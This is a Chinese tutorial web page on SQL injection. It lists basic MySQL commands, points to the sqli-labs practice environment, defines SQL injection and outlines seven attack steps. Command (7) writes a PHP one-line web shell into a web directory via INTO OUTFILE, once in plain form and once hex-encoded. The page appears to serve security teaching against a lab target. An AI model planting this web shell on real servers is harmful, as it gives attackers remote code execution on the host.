当前位置:首页 > 移动互联 > 正文

常见SQL注入类型有哪些?常见SQL注入类型的原理是什么?

2022-05-20 13:13:44    来源:PHP中文网    

本篇文章给大家带来了关于SQL的相关知识,其中主要介绍了常见的SQL注入类型的介绍以及原理讲解,包括了联合注入、布尔盲注、时间注入、报错注入等等内容,下面一起来看一下,希望对大家有帮助。

Mysql安装

这里我们直接使用phpstudy集成环境中的mysql

Mysql常用命令

(1)mysql本地连接

参数 说明

-h 表示数据库连接地址,连接本机可不填,直接mysql -uroot -p

-u 表示要登录的用户

-p 表示使用密码登录

默认账/密:root/root

注:登录mysql时,-p后面不能有空格加密码,但-p空格,后面不加值是可以的

(2)查看所有数据库

(3)使用数据库,注意sql语句后面要加分号

1

 

use 数据库名;

 

(4)查看当前数据库中的表

1

 

show tables;

 

(5)查看表中字段结构,不爆出内容

1

 

describe 表名;

 

(6)查看表中所有字段及内容(前提已经use了数据库)

1

 

select * from 表名;

 

(7)向指定目录,如C:\WWW目录中写入peak.php一句话木马

1

 

select "<?php @eval($_REQUEST[peak]);?>" into outfile "C:\\WWW\\peak.php";

 

1

 

select 0x3c3f70687020406576616c28245f524551554553545b7065616b5d293b3f3e into outfile"C:\\WWW\\peak.php";

 

注:

要使用两个\,两个\到目标服务器后变为一个\,若使用C:\WWW\peak.php,执行后会在MYSQL\data目录下生成WWWpeak.php文件,不是指定目录

另外,使用Hex编码时,不要加""了

(8)创建数据库

1

 

create database peak;

 

(9)删除数据库

1

 

drop database 库名;

 

(10)清空表

1

 

delete from 表名;

 

(11)修改root密码

1

 

mysqladmin -uroot -p password 新密码

 

之后输入原密码,即会修改成功

(12)查询当前数据库所在目录

1

 

select @@basedir;

 

(13)创建数据库

1

 

CREATE DATABASE [IF NOT EXISTS] <数据库名>

 

(14)创建表

1

 

CREATE TABLE table_name (column_name column_type);

 

(15)创建字段

1

 

INSERT INTO users (字段名) VALUES (“字段值");

 

(16)删除表中数据

1

 

DELETE FROM <表名> [WHERE 子句] [ORDER BY 子句] [LIMIT 子句]

 

sql-labs环境搭建

靶场环境:

https://github.com/Audi-1/sqli-labs

SQL注入原理

什么是SQL注入?

SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤"。尽管如此,SQL注入仍是现在最常见的Web漏洞之一

SQL注入步骤

(1)判断是否存在注入,注入是字符型还是数字型

(2)猜解SQL查询语句中的字段数

(3)判断哪些位置字段可以注入利用

(4)查询数据库(当前使用数据库或所有数据库)

(5)查询指定数据库中的表

(6)查询指定表中的字段名

(7)查询表中字段的值

上一篇:下划线在电脑上怎么输入?下划线怎么在手机打出来?
下一篇:最后一页